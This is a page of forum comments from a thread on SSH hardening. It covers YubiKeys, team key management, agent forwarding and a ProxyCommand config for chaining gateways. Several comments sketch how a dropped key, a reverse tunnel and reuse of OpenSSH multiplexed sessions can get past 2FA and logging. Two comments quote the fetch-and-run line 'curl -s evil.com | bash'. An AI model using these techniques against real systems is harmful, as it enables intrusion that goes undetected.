41–50 of 123 posts
Here's a brief guide for setting up SSH with YubiKey as a smartcard which complements this article nicely - https://github.com/drduh/YubiKey-Guide
The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are without auth and without syslog entries. If you manage secure systems and have 2FA, this allows bypassing 2FA and logging. All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will drop a key on your machine, fire up…
> All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will... ...install a rootkit or botnet client regardless of how you've configured ssh. What does it have anything to do with ssh at all? The attacker could just as easily set up an outgoing VPN-over-TLS in the same way.
Another reason this involves SSH is that you already have it. I am not installing anything. I am just dropping a key on your machine and (as you) spawning ssh and a reverse tunnel back to a VM I control. No need for root :-) Now I just leverage your existing multiplexed connections into your development and production environments. Your syslog server will not log me connecting, since I am just leveraging your existing channelized SSH session.
This is leveraging a bad configuration that everyone has in SSH by default. In most cases, the attacker can also leverage the commonly poorly configured sudo as well.
If my government would give me legal immunity, I would prove this to you by popping nearly every major company or government office in my country in three weeks or less.
Org question. We use a shared key and a shared account to manage our servers. When someone leaves the team we have to regenerate the key for the account. I'm sure it's not recommended, so what's a good way to manage ssh access in a team setting? I'd like avoid sharing the key so that access can be revoked from user without regenerating the key for everyone?
You can read about this in the `CERTIFICATES` section of ssh-keygen(1).
Earlier quoted context omitted.
> They said something like, "um... but we've got root". Which is incredibly misleading. Sure, they could put malicious code in their distribution. It could do whatever they want. And then it would be on your machine, where you can potentially discover it and publish what you've discovered and allow others to verify your discovery. Which could cause Canonical to not have root anymore, because people would immediately…
How many Ubuntu users actually verify everything Canonical sends them? I'd say very close to none, especially for the binaries. Sure, in principle you could verify. You could read through all the source, you could even disassemble the binaries and read through the assembly (and don't forget to verify the hardware too). Again, who actually does that? Virtually no one. So the two cases are a lot closer than you paint t…
Which is not the same thing as no one. And it only takes once to ruin your reputation forever (see also Sourceforge, Lenovo, etc.) Moreover, the probability of detection doesn't have to be very high at all because the cost to Canonical would be catastrophic, so any possibility whatsoever acts as a deterrent. And more so in this context because of the nature of the user base.
Your argument seems to boil down to the position that it doesn't hurt anything to go from detection not perfect to detection not possible.
Org question. We use a shared key and a shared account to manage our servers. When someone leaves the team we have to regenerate the key for the account. I'm sure it's not recommended, so what's a good way to manage ssh access in a team setting? I'd like avoid sharing the key so that access can be revoked from user without regenerating the key for everyone?
>Do not SSH cross-server This doesn't make sense. You can safely setup SSH agent forwarding to ssh from server to server without storing your ssh private key anywhere but your local host.
If the server you're forwarding your agent to is compromised it can now talk to your agent. This point could also be 'assume gateway servers are compromised'.
Has anyone used ProxyCommand to chain through 2 or more gateways and has a config example to show?
Host +
ProxyCommand ssh -W $(echo %h | sed 's/^.+//') $(echo %h | sed 's/+[^+]$//;s/\([^+%%]\)%%\([^+]\)$/\2 -l \1/;s/:\([^:+]\)$/ -p \1/')
Use with:
$ ssh login1%host1:port1+login2%host2:port2+login3%host3:port3+host4:port4 -l login4
https://glandium.org/blog/?p=3631
Edit: there is apparently no way to escape asterisks, so I replaced them with (hopefully I didn't miss one), but you'd better check out the link.
Earlier quoted context omitted.
> All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will... ...install a rootkit or botnet client regardless of how you've configured ssh. What does it have anything to do with ssh at all? The attacker could just as easily set up an outgoing VPN-over-TLS in the same way.
The reason that this involves SSH and is in no way related to the malware example you provided is, this is not malware and will never be detected as such. Very few things can actually block this and most of those things are either too expensive, or disabled by most organizations. Also, this is only getting worse with time. More and companies are opening up their firewalls outbound because it makes developers feel war…
Earlier quoted context omitted.
The reason that this involves SSH and is in no way related to the malware example you provided is, this is not malware and will never be detected as such. Very few things can actually block this and most of those things are either too expensive, or disabled by most organizations. Also, this is only getting worse with time. More and companies are opening up their firewalls outbound because it makes developers feel war…
If somebody can get you to run "curl -s evil.com | bash" then you are pwned . They can modify your $PATH and install a key logger and create a reverse shell and upload your ssh private key and forward the reverse connection to anything on your LAN. You have already lost.
Perhaps some of the confusion here is that it is assumed ssh keys are in use? In an environment that requires 2FA, keys would not be allowed. People would be using RSA Tokens, Duo, Yubikeys, etc. This method bypassing those things.
It also means, anyone using the defaults in OpenSSH is not PCI compliant.
I am not even sure this method of access to development or production environments is even illegal, as the user is providing access and I am not hacking anything, nor am I using authentication into anything. The door is wide open. If this were a game of chess, I would get check-mate in 1 move.
Earlier quoted context omitted.
If somebody can get you to run "curl -s evil.com | bash" then you are pwned . They can modify your $PATH and install a key logger and create a reverse shell and upload your ssh private key and forward the reverse connection to anything on your LAN. You have already lost.
Keylogger, perhaps. The multiplexing just makes it trivial to connect to everything with no logging and no authentication. I don't even have to modify the PATH or install a keylogger. I am already several steps beyond that in one move. In other words, no audit trail for the FBI to look into, no need to upload some new application, no need to exploit a vulnerable application (beyond the vulnerability of OpenSSH itself…